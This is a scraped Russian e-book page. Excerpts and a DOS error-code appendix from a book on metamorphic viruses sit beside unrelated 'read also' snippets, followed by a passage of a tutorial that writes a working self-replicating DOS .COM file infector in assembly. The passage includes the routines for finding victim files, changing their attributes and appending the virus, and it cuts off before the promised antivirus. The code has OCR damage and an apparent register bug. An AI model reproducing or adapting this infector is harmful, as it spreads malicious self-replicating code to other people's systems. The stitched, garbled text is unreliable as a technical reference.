Ну а главная, как мне кажется, причина — это квалификация программиста. Если вы в состоянии написать хороший метаморфный генератор, с которым специалисты провозятся хотя бы несколько дней, или эмулятор детектирующий сигнатуру внутри качественного вирусного движка, или сделать качественный crackme, который публично зауважают, то… просто напишите мне. Я не рекрутер, но если вас будет много — сменю профессию, просто представляя вас компаниям, которые занимаются безопасностью. Будьте уверены, ваши доходы и стабильность по жизни во много раз перевесят то, что можно получить распространяя вирусы или взламывая софт. В этом и есть главная причина — продвинутые движки пишут очень немногие энтузиасты с очень хорошей подготовкой, и, в большинстве случаев, находят в жизни куда более привлекательные применения своему таланту. Ну а еще, по моему мнению, коммерческая часть современной заразы откровенно скучна, поэтому те, кто поддался соблазну получать ворованные деньги, надолго зависают в сугубо прикладных аспектах и бросают заниматься совершенствованием внутренних алгоритмов.

Эпилог

Жалко, что коду, способному порождать собственные изменённые копии, пока не нашлось другого применения, кроме как прятаться от антивирусов и противостоять взлому. Я искренне желаю этим методам дальнейшего развития, желательно без уклона в зловредство. И пускай программы, порожденные человеческим разумом, станут немного ближе к тому, что мы называем жизнью.

Приложение Д Коды ошибок DOS

2 – файл не найден

3 – путь доступа не найден

5 – доступ отвергнут

6 – недопустимая обработка

8 – недостаточно памяти

10 – недопустимая программная среда

11 – неверный формат

18 – файлы отсутствуют

Данный текст является ознакомительным фрагментом.

Читайте также

Коды исключений

Коды исключений
Для точной идентификации типа возникшего исключения блок исключения или выражение фильтра могут использовать следующую функцию:
DWORD GetExceptionCode(VOID)
Код исключения должен быть получен сразу же после возникновения исключения. Поэтому функция фильтра не

9.2.4. Общие коды возврата ошибок

9.2.4. Общие коды возврата ошибок
Существует множество общих кодов ошибок, для которых вы вполне могли наблюдать сообщения. Некоторые из этих сообщений могут сбивать с толку. Без знаний о том, что можно делать в Linux-системе, трудно понять ошибки, которые могут возникать в

Приложение Г Различные исходные коды

Приложение Г
Различные исходные коды

Г.1. Заголовочный файл unp.h
Почти каждая программа в этой книге начинается с подключения заголовочного файла unp.h, показанного в листинге Г.1[1]. Этот файл подключает все стандартные системные заголовочные файлы, необходимые для работы

Коды ошибок удаленного доступа Windows

Коды ошибок удаленного доступа Windows
Если модем не соединяется с Интернетом, то на экране появляется не только сообщение об ошибке, но и ее номер, по которому можно гораздо точнее диагностировать проблему, возникшую при интернет-подключении.Наиболее типичные ошибки

14.6.8 Коды ответов

14.6.8 Коды ответов
Каждой команде в диалоге соответствует ответ, состоящий из кода ответа и сообщения. Например:ftp&gt; get subnets—&gt; PORT 128,36,0,22,10,54200 PORT command successful.—&gt; RETR subnets150 Opening ASCII mode data connection for subnets (3113 bytes).226 Transfer complete.Коды ответов состоят из трех цифр, каждая из которых имеет

16.10 Коды ответов

16.10 Коды ответов
Коды ответов SMTP имеют структуру, подобную кодам ответов FTP. Код состоит из трех цифр. Первая цифра указывает статус команды:

1yz
Положительный предварительный (Positive Preliminary) ответ (в настоящее время в SMTP не используется)

2yz
Положительный дополненный (Positive

2.2.3. Коды ошибок системных вызовов

2.2.3. Коды ошибок системных вызовов
Большинство системных вызовов возвращает 0, если операция выполнена успешно, и ненулевое значение — в случае сбоя. (В некоторых случаях используются другие соглашения. Например, функция malloc() при возникновении ошибки возвращает нулевой

Приложение C. Коды завершения, имеющие предопределенный смысл

Приложение C. Коды завершения, имеющие предопределенный смысл
Таблица C-1. «Зарезервированные» коды завершения

Код завершения
Смысл
Пример
Примечание

1
разнообразные ошибки
let «var1 = 1/0»
различные ошибки, такие как «деление на ноль» и пр.

2
согласно документации к Bash —

Приложение 1 Коды и обозначения основных клавиш

Приложение 1 Коды и обозначения основных клавиш
В табл. П1.1 приведены коды, обозначения целочисленных констант и описания основных клавиш.Таблица П1. 1 . Коды, обозначения и описания

Приложение B КОДЫ ВАЖНЫХ ТРАНЗАКЦИЙ

Приложение B
КОДЫ ВАЖНЫХ ТРАНЗАКЦИЙ
В следующей таблице перечислены коды наиболее важных транзакций для системного администрирования R/3 Можно вводить коды транзакций R/3 в поле команды SAP GUI Доступны следующие параметры:? /n&lt;код_транзакции&gt;Выход из активной в данный

Глава 5 Коды ошибок «голубого экрана» смерти

Глава 5
Коды ошибок «голубого экрана» смерти

Вы никогда не видели BSOD
Как уже было отмечено, BSOD (Blue Screen Of Death, голубой экран смерти) – особенность Windows. С помощью BSOD Windows общается с пользователем и сообщает номер ошибки и ее причину. Конечно, в большинстве случаев описание

Глава 6 Коды ошибок Windows

Глава 6
Коды ошибок Windows

Диалоговые окна
В диалоговых окнах обычно выводится код ошибки и ее краткое описание (рис. 6.1). Далеко не всегда короткого описания хватает, чтобы понять, что же случилось, и устранить причину ошибки. А иногда описание непонятно, потому что оно на

Приложение Д Коды ошибок DOS

Приложение Д Коды ошибок DOS
2 – файл не найден3 – путь доступа не найден5 – доступ отвергнут6 – недопустимая обработка8 – недостаточно памяти10 – недопустимая программная среда11 – неверный формат18 – файлы


Небольшое вступление

Текст далее приводим исключительно в образовательных целях. Для того, чтобы иметь возможность написать антивирус, необходимо знать механику работы вируса.

Пишем вирус… и антивирус для IBM-совместимых компьютеров. Петр Хижняк

Содержание
  • Введение
  • Глава 1. Вирус и антивирус.
    • 1.2 Описание простейшего вируса.
    • 1.3 Описание работы антивируса
  • Глава 2. Пишем вирус
    • 2.1 С чего начать?
    • 2.2 Передача управления вирусу
    • 2.3 Восстановление программы-носителя
    • 2.4 Сохранение DTA
    • 2.5 Область данных вируса
    • 2.6 Поиск жертвы
    • 2.7 Жертва найдена?
    • 2.8 Вирус размножается
    • 2.9 Обработка ошибок
    • 2.10 Текст программы VIRUS775.ASM
  • Глава 3. Пишем антивирус
    • 3.1 Как искать сигнатуру вируса
    • 3.2 Листинг программы VIRUS775.ASM
    • 3.3 Подбираем сигнатуру
    • 3.4 Что должен делать антивирус
    • 3.5 Область данных антивируса
    • 3.6 Антивирус начинает работу
    • 3.7 Читаем командную строку
    • 3.8 Заказываем память
    • 3.9 Ищем зараженные файлы
    • 3.10 Длинные и короткие файлы
    • 3.11 Ищем сигнатуру вируса
    • 3.12 Лечим зараженный файл
    • 3.13 Записываем вылеченный файл
    • 3.14 Антивирус "умывает руки"
    • 3.15 Текст программы ANTI775.ASM
  • Глава 4. Кто выиграет войну?
    • 4.1 Создаем исполняемые программы
    • 4.2 Заражаем COMMAND.COM
    • 4.3 Проверяем работу антивируса
    • 4.4 Вместо послесловия
  • Аннотация литературы по компьютерным вирусам

Введение Компьютерные вирусы, едва появившись на свет, повергли в смятение компьютерную общественность, которая привыкла полагаться на компьютеры как на верных и, главное, надежных помощников в своей работе. И вдруг - как молнии - в печати под громкими заголовками замелькали сообщения об эпидемии, вызванной компьютерными вирусами. Компьютеры как бы вырвались из-под власти человека: программиста, оператора, пользователя - и их поведение, до этого совершенно спокойное и пристойное, перестало быть предсказуемым. Более того, компьютеры стали опасными. Нет, не для человека - для программ и данных, которыми он пользуется. Однако, если небольшая ошибка в программе, управляющей, например, ядерным реактором, может привести к его аварии (и это уже случалось!), то каких бед может натворить компьютер, "заболевший" вирусом и в больном угаре, скажем, запустивший ракету с атомной боеголовкой? Возможны и менее опасные действия компьютера: неверная обработка важных финансовых документов, порча бесценной научной или медицинской информации... Да мало ли что еще может натворить компьютер, которому человек доверил управлять теми или иными важными процессами в производстве и в жизни. Осознав все это и почувствовав на себе коварство невидимых врагов, человек сразу встал на борьбу с ними. Откуда же взялись компьютерные вирусы, что это такое и как с ними бороться? Понимая, что большинство читателей этой книги прекрасно знает ответ, по крайней мере, на первый из этих вопросов, мы опустим его подробное освещение и перейдем сразу ко второму, а затем и к третьему. Итак, больное самолюбие в одних случаях, желание выделиться в других и жажда мести в третьих - породили вандалов в чинной среде программистов. Их изобретательность не знает границ. Современные компютерные вирусы - это программы, которые не только размножаются и живут самостоятельной жизнью, но которые обманывают, скрываются, убивают другие программы! Полный набор терминов из криминальной хроники. Поэтому и методы борьбы с компьютерными вирусами тоже напоминают методы Шерлока Холмса. Слежка, ловля "на живца", обыски, производимые антивирусными программами в памяти компыютера и на диске - чем не детективный роман? Однако борьба с вирусами - дело не столько захватывающее, сколько сложное, требующее особою внимания, терпения, вдумчивости и твердых знаний. Итак - приступим к борьбе. Глава 1. Вирус и антивирус. 1.2 Описание простейшего вируса. Начнем с определений. Вирусом называют программу, которая помимо желания пользователя компьютера выполняет действия, мешающие его нормальной работе. Характерными чертами вирусов являются следующие:
  1. Код вируса (или его часть) внедряется в другие программы. А программами являются, например, загрузочная запись (boot record) и системный загрузчик (master boot record), драйверы, оверлейные файлы и т.п.
  2. Код вируса попадает в память или на внешние накопители, а также выполняется помимо воли пользователей и операторов ЭВМ.
  3. Действия вируса вызывают различные вредные последствия: замедление работы компьютера, порча программ и данных, искажение результатов ввода / вывода, засорение оперативной памяти и внешних носителей и др.
Существует много типов вирусов, познакомиться с которыми подробно читатель сможет, прочитав литературу, список которой приведен в конце данной книги. Мы же рассмотрим работу простейшего файлового вируса, поражающего .COM-файлы и не являющегося резидентным. Такой вирус, будучи однажды выпущенным "на волю", заражает программы следующим образом. Первым делом, получив управление при запуске зараженной программы, вирус ищет на доступном диске файлы с расширением .COM. Найдя подходящий файл (т.е. перемещаемую программу), вирус записывает свой код за последним оператором (т.е. в "хвост") этой программы, а затем на место первых трех байт этой программы записывает код короткого перехода по адресу входа в свою программу, предварительно сохранив исходные три байта в своей внутренней области данных или в стеке.

После этого вирус перезаписывает модифицированный .COM-файл на магнитный диск. При этом изменяется длина исходного файла. В принципе, возможно существование вирусов, не изменяющих длину заражаемого файла. В этом случае код исходного файла должен храниться в зараженном файле в архивированном виде или же код вируса и частично "лишний" код исходного файла должны храниться в сбойных секторах или в системной области магнитного диска.

После заражения файла (или вместо этого) вирус может заняться вредоносной деятельностью (хотя заражение файлов - вещь и так достаточно неприятная). Завершив выполнение всего, что наметил его автор, вирус восстанавливает (только в памяти компьютера!) исходные три байта той программы, которая передала ему управление и осуществляет переход на начало этой программы.

Поскольку в .COM-файле, если не принимать специальных мер, адрес входа всегда равен 100h, то для передачи управления по этому адресу вирус может использовать длинный переход и не рассчитывать относительное смещение адреса, учитывающее длину заражаемой программы.

Таким образом, сначала всегда выполняется код вируса, а затем - сама зараженная программа. У пользователя может создаться впечатление, что все в порядке (ведь программа отработала нормально!). Действия же вируса, как правило, незаметны и выполняются в течение очень короткого промежутка времени.

Схема работы вируса в зараженной программе приведена на рис 1.

                  Far JMP 100h
 +---------------------<---------------------------+
 |                                                 |
+-+-+-+------------------+--------------+-+-+-+----+
| | | |                  |              | | | |    |
| JMP |     COM file     |  Virus body  | | | |    |
| | | |                  |              | | | |    |
+-+-+-+------------------+--------------+-+-+-+----+
     |                               |   3 bytes
     +----------------->-------------+
100h               Near JMP


Рисунок 1. Схематическое изображение принципа работы вируса в зараженной .COM-программе.

1.3 Описание работы антивируса

Существуют различные типы антивирусных программ и технических средств. Например, резидентые перехватчики системных прерываний и прерываний BIOS, программы-ревизоры, проверяющие длины и контрольные суммы файлов и др.

Мы расскажем читателю лишь о двух типах антивирусных программ - детекторах и фагах. Первые лишь обнаруживают наличие вируса и указывают его место положения. Вторые "лечат" программы, т.е. "выкусывают" вирус из зараженной программы и (иногда полностью, иногда почти полностью) приводят программу к прежнему виду.

           Восстановление 3-х первых байт
 +-+-+-----------------<-----------------+-+-+
 | | |                                   | | |
+-+-+-+------------------+--------------+-+-+-+----+
| | | |                  |              | | | |    |
| JMP |     COM file     |  Virus body  | | | |    |
| | | |                  |              | | | |    |
+-+-+-+------------------+--------------+-+-+-+----+
                         |                         |
			 +-------------------------+
                  Выкусывание "хвоста", содержащего вирус


Рисунок 2. Схематическое изображение принципа восстановления антивирусом (фагом) зараженной .COM-программы.

Очевидно, что идеальная антивирусная программа, предназначенная для восстановления зараженных файлов (т.е. для приведения их к исходному виду), должна проделать всю работу, которую проделал вирус, в обратном порядке. A именно:
  1. найти зараженную программу;
  2. зная, в каком месте своей области данных вирус хранит первые три байта зараженной программы, переписать эти три байта вместо трехбайтовой команды перехода на начало кода вируса;
  3. зная длину вируса (а еще лучше - первоначальную длину зараженной программы) "отрезать" ту часть зараженной программы, которая содержит код вируса;
  4. записать вылеченную программу на магнитный диск, восстановив возможно точнее ее прежнюю длину.
Помимо указанных действий грамотно написанная антивирусная программа-фаг по ходу работы должна выполнять многочисленные проверки, чтобы вместо "лечения" не испортить зараженную (или даже здоровую!) программу.

Например, программа-фаг обязательно должна работать совместно с программой-детектором или (еще лучше) составлять с ней одно целое. Таким образом будет обеспечено "лечение" лишь действительно зараженных данным вирусом программ. Программа-фаг, всегда ориентирована на борьбу с конкретным вирусом (или группой определенных вирусов) и совершенно не приспособлена к борьбе со всеми остальными. Достаточно бывает внести в код вируса совершенно незначительные изменения - и эффективно работавший фаг станет бессилен в борьбе с новым штаммом. Более того, программа-фаг может в этом случае перестать "лечить" зараженные файлы, а лишь будет безвозвратно их портить. Поэтому при пользовании антивирусными программами-фагами следует придерживаться ряда предосторожностей:
  1. всегда необходимо перед "лечением" создавать резервные копии зараженных программ на отдельных гибких дисках;
  2. перед "лечением" необходимо с помощью программ-детекторов убедиться, что подозреваемый файл действительно заражен тем самым штаммом вируса, против которого успешно борется имеющаяся у Вас программа-фаг;
  3. все операции по поиску, копированию и лечению зараженных файлов следует проводить на незараженном компьютере. Для этого достаточно произвести загрузку DOS с эталонной незараженной и защищенной от записи дискеты, содержащей операционную систему, которая всегда должна быть под рукой.
Глава 2. Пишем вирус

Борьба с компьютерными вирусами на профессиональном уровне предполагает хорошее знание работы вирусов на уровне кода. То есть разработчику антивирусных программ необходимо знакомство не только с основными принципами действия вирусов, но и со способами программной реализации этих принципов. Особенно это относится к случаям борьбы с новыми, неизвестными ранее вирусами или с новыми штаммами вирусов, для которых не существует стандартных средств (программ) для их обнаружения и нейтрализации последствий их разрушительных действий.

В данной главе приводится текст программы (отлаженной и проверенной в действии), имитирующей работу простейшего файлового вируса, заражающего .COM-программы. Данная программа без всяких изъятий проделывает все то, на что способен простой .COM-вирус, т.е. проверяет наличие не зараженных данным вирусом программ на диске (чтобы не заражать одну и ту же программу дважды), заражает такую программу - и вместо выполнения троянской компоненты вируса выдает на экран сообщение о том, что произошло заражение программы. После первого заражения какого-либо .COM-файла с помощью данной программы вирус начинает самостоятельную жизнь и способен выполнять все вышеуказанные действия при каждом запуске зараженной программы.

Не предполагая у читателя досконального знания языка ассемблера, прерываний и функций MS-DOS и BIOS, мы будем давать по возможности полные комментарии к каждой структурной части программы-вируса и антивируса.

2.1 С чего начать?

Все .COM-программы начинаются почти одинаково: со своеобразного заголовка .COM-программы, указывающего стандартные совпадающие сегментные регистры кода (cs) и данных (ds) и адрес начала кода, равный 100h, т.е. сразу за сегментным префиксом программы (PSP), который располагается по нулевому смещению и занимает 100h байт.

CSEG	segment
	assume cs:cseg,ds:cseg,es:cseg
	org 100h
START:


Содержимое регистра расширенного сегмента данных (es), который может использоваться в программе для операций со строками данных, пока тоже оставим равным содержимому регистра cs.

2.2 Передача управления вирусу

Поскольку, как показано выше, работа вируса начинается с выполнения трехбайтовой команды близкого перехода на начало кода вируса, мы запишем эту команду сразу за меткой START.

Далее, необходимо учесть отличие программы, запускающей вирус, от вируса в "чистом" виде, которое заключается в том, что эта программа после завершения работы, в отличие от вируса, внедрившегося в программу, должна передать управление DOS, а не программе-носителю вируса. Чтобы отличить запускающую программу от вируса, запишем идентифицирующий код (например 0FFFFh) сразу за командой перехода на начало запускающей программы.

START:
	db	0E9h
	dw	15h          ; Near jurp to RESTORE_3_BYTES
ID	dw	0FFFFh
	org	110h
VIRUS:


Обратите внимание на необычность записи команды близкого перехода. Эта команда записана непосредственно в виде машинного кода (0Е9h) и относительного смещения перехода (15h), которое вычисляется по сумме длин команд и данных, расположенных перед началом основной программы (метка RESTORE_3_BYTES). Относительное смещение перехода будет вычисляться вирусом при заражении программы, и следовательно вместо смещения 15h в зараженной программе будет сгоять совершенно другое число. Команда org 110h, предписывающая ассемблеру располагать следующие за ней коды со смещения 110h, записана для удобства расчета адреса перехода и для обеспечения резерва области данных запускающей программы.

2.3 Восстановление программы-носителя

После получения управления наш вирус прежде всего восстанавливает первые три байта исходной программы, которые он хранит в своей области данных, расположенной сразу за кодом вируса (метка BYTES_3). В запускающей программе сегмент кода и сегмент данных вируса совпадают. Однако в зараженной программе область данных вируса отодвигается как минимум на количество байт, равное собственной (прежней) длине зараженной программе. Поэтому в вирусе необходимо предусмотреть приращение содержимого сегмента данных (ds) на величину, равную округленной в большую сторону исходной длине зараженной программы по модулю 10h (т.к. число, хранящееся в регистре ds, по определению, принятому для семейства процессоров 80x86, в 10h раз меньше абсолютного смещения сегмента данных).

VIRUS:
	push	ds
	mov	ax,cs
	db	00000101b	; Add ax,imed
NEW_DS	dw	0FFFFh		; 0FFFFh should be replaced
	mov	ds,ax		; Define new ds segment

RESTORE_3_BYTES:
	mov	al,BYTES_3[0]	; Restore first 3 bytes
	mov	byte ptr cs:[100h],al
	mov	al,BYTES_3[1]
	mov	byte ptr cs:[101h],al
	mov	al,BYTES_3[2]
	mov	byte ptr cs:[102h],al


Поскольку длина заражаемой программы заранее не известна, мы записали команду, корректирующую ds непосредственным прибавлением к его содержимому соответствующего числа, также как и первую команду перехода, в виде машинного (двоичного) кода 00000101b (Add ax,imed). Слово, которое следует за этой командой (пока это 0FFFFh), должно представлять собой число, которое прибавляется командой 00000101b. Это число будет подставлено вирусом по адресу, определяемому меткой NEW_DS.

2.4 Сохранение DTA

Далее, поскольку, вирус будет пользоваться функциями DOS, для выполнения операций с файлами, необходимо предусмотреть возможность выделения DTA (Data Transfer Area) для этих целей. Наш вирус будет пользоваться DTA зараженной программы, но поскольку при этом содержимое DTA, которое необходимо зараженной программе для ее нормальной работы (после передаче ей вирусом управления), будет испорчено, сохраним DTA в области данных вируса, выделив для этого целых 100h байт (т.е. для сохранения общности будем хранить целиком PSP).

STORE_DTA:
	mov	cx,100h
	mov	Ьх,0

DTA_S:
	mov	al,byte ptr cs:[bx]
	mov	byte ptr DTA[bx],al
	inc	bx
	loop	DTA_S


2.5 Область данных вируса

Таким образом, мы подготовили практически все необходимое для дальнейшей работы вируса (или запускаюшей вирус программы). Работа запускающей программы отличается от работы вируса тем, что она не производит реальных действий по восстановлению первых трех байт (эта работа для запускающей программы является холостой), и не производит корректировки содержимого регистра данных ds. Однако как вирус, так и запускающая программа имеют одинаковую по структуре область (сегмент) данных, расположенную в самом конце. Поскольку мы сразу активно оперируем данными, приведем структуру этой области уже теперь.

FMASK	db	'*.COM',0h		
FNAME	db	12 dup (?),0h
FLENOLD	dw	(?)		; Length of file
FLEN	dw	(?)		; Corrected length of file
HANDLE	dw	0FFFFh		; File handle number
JMPVIR	db	0E9h		; JMP code
JMP_L	db	(?)		
JMР_H	db	(?)		; 3 bytes for virus JMP
BYTES_3	db	3 dup (?)	; Original 3 bytes
	db	(?)
DTA	db	101h dup (?)
MSG	db	0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
VIRLEN	equ	$-VIRUS

CSEG	ends
	end	START


Тот факт, что область данных нашего вируса расположена в самом конце программы, отражен наличием команд CSEG ends и end START.

Поскольку мы глубоко продумали алгоритм работы вируса и хорошо представляем себе данные, которыми он будет оперировать, мы можем описать и объяснить все, что хранится в этой области.

FMASK	db	'*.COM'.Oh


Строка FMASK в формате ASCIIZ длиной 6 байт содержит маску имен файлов, которые вирус будет просматривать в поиске новой "жертвы". Это все файлы с расширением .COM.

FNAME	db	12 dup (?),0h


Строка FNАМЕ длиной 13 байт представляет собой место, зарезервированное для хранения имени файла-жертвы с расширением в формате ASCIIZ

FLENOLD	dw	(?)		; Length of file


Слово FLENOLD зарезервировано для хранения длины файла-жертвы, поскольку с этой величиной вирус будет проаодить различные манипуляции при расчете новой длины уже зараженного файла.

FLEN	dw	(?)		; Corrected length of file


Слово FLEN зарезервировано для хранения скорректированной (новой) длины файла, уже зараженного вирусом.

HANDLE	dw	0FFFFh		; File handle number


Слово HANDLE зарезервировано для хранения логического номера (handle) открываемого файла. В случае, когда вирусом не было открыто ни одного файла, в этом слове хранится число 0FFFFh.

JMPVIR	db	0E9h		; JMP code
JMP_L	db	(?)
JMP_H	db	(?)		; 3 bytes for virus JMP


Байт JMPVIR хранит константу 0Е9h, представляющую собой код близкого перехода.

Байты JMP_L и JMP_Н зарезервированы для хранения, соответственно, младшей и старшей части смещения, являющегося частью команды перехода. Это смещение рассчитывается вирусом в процессе заражения файла.

BYTES_3	db	3 dup (?)	; Original 3 bytes
	db	(?)


Три байта под меткой BYTES_3 зарезервированы для хранения исходных трех байт программы-жертвы. Эти байты подставляются обратно по смещению 100h (в памяти) перед передачей управления программе-носителю вируса. Еще один байт - резерв.

DTA	db	101h dup (?)


Сто байт отведено (метка DTA) для хранения области PSP (Program Segment Prefix), включающей в себя DTA (Data Transfer Area), и один байт - резерв.

MSG	db	0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'


Меткой MSG обозначена ASCII строка, которую выдает на экран вирус при заражении очередной программы. Это - единственное "вредное" действие, совершаемое нашим вирусом (не считая, конечно, самого заражения .COM-программ).

VIRLEN	equ	$-VIRUS


Константа VIRLEN не занимает места в области данных. Эта величина равна длине кода вируса, который приписывается в "хвост" заражаемой программы (знак $ означает текущий адрес, а метка VIRUS - смещение начала кода вируса).

Знак '$', расположенный в строке MSG является последним кодом вируса. Наш вирус будет использовать этот код для проверки, не заражен ли уже данным вирусом намечаемый файл-жертва. Сразу же хочется отметить, что этот факт может быть использован для вакцинации (защиты) программ от данного вируса. Для этого достаточно лишь приписать код '$' в конец защищаемой программы. К сожалению, этот прием не спасает от других вирусов. Кроме того, если поверх нашего вируса "сел" другой, то наш вирус заразит данную программу еще раз.

2.6 Поиск жертвы

Наш вирус - простейший. В нем отсутствуют наиболее мощные средства работы с файловой системой DOS. Поэтому этот вирус способен отыскивать потенциальные жертвы лишь в текущем каталоге, из которого запущена программа-носитель вируса. Для этого наш вирус использует функции DOS 4Eh (Find first matching file) и 3Eh (Find next matching file), которые осуществляют поиск файла по заданному шаблону (у нас это ASCIIZ строка с меткой FMASK:

FMASK	db	'*.COM',0h


Помимо соответствия имени файла шаблону, его атрибуты также должны соответствовать атрибутам, заданным в регистре сх перед вызовом функции 4Eh (или 3Еh). Функция DOS находит файл, атрибуты которого разрешены маской. Единичный бит в маске означает, что соответствующий бит в байте атрибутов может быть как единичным, так и нулевым; нулевой бит в маске означает, что соответствующий бит в байте атрибутов файла может быть только нулевым. Таким образом, если маска атрибута (содержимое регистра сх) равна, например, 00100001, а байт атрибутов файла равен 00100000 или 00100001, то этот файл будет найден DOS. А файл с байтом атрибутов 00100010 найден не будет.

FIND_FIRST:
	lea	dx,FMASK
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ah,4Eh
	int	21h		;  Find first .COM file

	jnc	STORE_FNAME
	jmp	ERR


Если файла, соответствующего заданному шаблону и маске атрибутов найдено не было (или произошла ошибка), управление передается на метку ERR, в противном случае - на метку STORE_FNAME (сохранить имя файла).

Поскольку среди найденных файлов могут оказаться те, которые вирусу "не подходят" (например, их длина слишком велика, или они уже заражены данным вирусом), здесь же следует предусмотреть поиск следующего файла, соответствующего шаблону (пометим этот блок программы меткой FIND_NEXT). Обращение к этому блоку будет делаться позже, после всех необходимых проверок.

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh
	
	mov	ah,4Fh
	int	21h
	jnc	STORE_FNAME
	jmp	ERR


Очевидно, что перед тем, как найти следующий файл, соответствующий шаблону, необходимо закрыть предыдущий. Это делают первые четыре оператора, следующие за меткой FIND_NEXT (функция DOS 3Eh). При этом в слово HANDLE засылается число 0FFFFh, которое, как мы договорились, является признаком того, что все открытые нами файлы закрыты.

2.7 Жертва найдена?

Если подходящий файл найден (а таким файлом наш вирус "считает" .COM-файлы с не установленными атрибутами "read-only", "system" и "hidden" (атрибут "archive" ему безразличен), то необходимо сохранить имя файла с тем, чтобы затем воспользоваться функциями, использующими для операций чтения и записи его логический номер (handle).

STORE_FNAME:
	cmp	byte ptr cs:[95h],00000001b	; Test r/o attribute
	je	FIND_NEXT	; if r/o is set, do not infect
	mov	bx,0
	
NEXT_SYM:
 
	mov	al,byte ptr cs:[bx+9Eh]
	mov     FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng     NEXT_SYM
	jmp	ERR


Заметим, что в блоке с меткой STORE_FNAME дополнительно проверяется атрибут "read-only". Это совершенно не обязательно в данной программе, так как наша маска атрибутов и так не допускает поиска файлов с этим атрибутом. Дополнительная проверка введена лишь как иллюстрация того, что любой атрибут можно проверить, считав байт атрибутов из DTA по смещению 95h (ведь наш вирус, несмотря на его реальность - все же учебный).

Имя файла хранится в DTA в формате ASCIIZ (т.е. без пробелов и заканчивается нулевым кодом, длина его с расширением не более 13 символов, включая нулевой код) начиная со смещения 9Eh.

Если бы мы хотели, чтобы наш вирус заражал любые .COM-файлы (в том числе системные, скрытые и "только-для-чтения") мы должны были бы установить маску атрибутов при поиске подходящего файла равной 00100111, а после того, как подходящий файл найден, изменить его атрибут "read-only" с тем, чтобы этот файл можно было модифицировать (ведь именно этим и занимается вирус). И хотя для нас это также необязательно, тем не менее покажем, как вирус может изменять атрибуты файла.

SET_ATTRIB:
	lea	dx,FNAME
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set  file attributes
 
	jnc	READ_HANDLE
	jmp	ERR


Теперь пора открывать файл с помошью handle- ориентированной функции DOS 3D (02) - открыть файл в режиме чтения/записи (handle файла после его открытия хранится в регистре ах, надо не забыть его сохранить).

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/write mode
	int	21h		; Open a file
	jnc	READ_3_BYTES
	jmp	ERR


Теперь, когда файл успешно открыт (а в случае ошибки - переход на метку ERR), можно последовательно сделать следующее. Пока (сразу после открытия файла) указатель стоит на начале файла, считаем и сохраним первые три байта только что открытого файла, а заодно сохраним его handle (логический номер).

READ_3_BYTES:
	mov	HANDLE,ax	; Store handle from ax

	lea	dx,BYTES_3
	mov	bx,HANDLE
	mov	cx,3		; Number of bytes to read
	mov	ah,3Fh
	int	21h		; Read and store first 3 bytes
	jnc	READ_FLEN
	jmp	ERR


Прочитаем длину открытого файла. Для этого обычно устанавливаеют текущий указатель (seek pointer) на конец файла и вызывают функцию DOS 42h (02) (Изменить положение указателя текущей позиции). При этом смещение указателя относительно начала файла (т.е. его длина!) заносится в виде двойного слова в регистры dx (старшая часть) и ах (младшая часть).

READ_FLEN:
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	al,2		; Relative to EOF
	mov	ah,42h		; Get program length in dx:ax
	int	21h
	jnc	CHECK_ID
	jmp	ERR


Теперь, вероятно, пора убедиться, что открытый файл не был заражен нашим вирусом ранее. Однако, возможно нам и не потребуется определять наличие индикатора заражения. Это в том, например, случае, если длина открытого файла слишком велика (например, превышает 64 К байт), или же она становится слишком велика после заражения. Для начала рассчитаем округленную до 16 (величина параграфа памяти) длину файла, сохраним эту величину в слове FLEN.

CHECK_ID:
	mov	FLENOLD,ax	; Store length of file

	test	ах,00001111b
	jz	JUST
	or	ах,00001111b
	inc	ax
 
JUST:
	mov	FLEN,ax		; Store corrected length of file

	cmp	ax,64500
	jna	CALC_DS
	jmp	FIND_NEXT


Заодно рассчитаем и приращение значения сегмента данных (для использования его вирусом в данном файле в случае его заражения) - именно эта величина прибавляется к содержимому регистра ds (разумеется, через регистр ax). Эта операция выполняется операторами, следующими сразу за меткой VIRUS. Вот зачем необходимо округление длины файла до 16 в большую сторону!

CALC_DS:
	mov	cl,4
	shr	ax,cl		; Calculate new ds segment difference
	dec	ax
	mov	byte ptr NEW_DS[0],al
	mov	byte ptr NEW_DS[1],ah	; Store new ds segment


Вот теперь самое время прочитать последний байт этого файла и убедиться, что он не был заражен нашим вирусом ранее. Напомним, что в качестве такого индикатора мы используем символ '$'.

	mov	сх,0
	mov	dx,FLENOLD
	dec	dx
	mov	bx,HANDLE
	mov	al,0		; Relative to EOF
	mov	al,42h
	int	21h		; Set seek to last byte of file
 
	jnc	READ_ID
	jmp	ERR

READ_ID:
	lea	dx,BYTES_3[3]
	mov	bx,HANDLE
	mov	cx,1
	mov	ah,3Fh
	int	21h		;  Read last byte to BYTES_3[3] (ID='$')
	jnc	TEST_ID
	jmp	FIND_NEXT

TEST_ID:
	cmp	BYTES_3[3],'$'
	jne	NOT_INFECTED
	jmp	FIND_NEXT	; Check if file is infected


Если файл уже заражен нашим вирусом, то следует перейти к метке FIND_NЕХТ и повторить все операции с самого начала. Если же файл не заражен, то можно произвести окончательную его подготовку к внедрению вируса. Рассчитаем смещение кода вируса относительно начала заражаемого файла (напомним, что вирус записывает себя в конец файла, причем смещение округлено по границе параграфа - хотя вообще говоря это не обязательно).

NOT_INFECTED:
	mov	ax,FLEN		;  Calculate JMP address
	sub	ax,03h
	mov	JMP_L,al
	mov	JMP_H,ah	; Store new JMP address
 


2.8 Вирус размножается

Теперь происходит самое главное: вирус приписывает себя (свой код, включая область данных, где хранятся первые три байта этого файла, скорректированные операторы модификации сегмента данных и т.п.) в конец файла-жертвы.

	mov	cx,0
	mov	dx,FLEN
	mov	bx,HANDLE
	mov	ax,4200h	; Set seek to corrected end of file
	int	21h
	jc	ERR

	lea	dx,VIRUS
	mov	cx,VIRLEN
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write virus to file
	jc	ERR


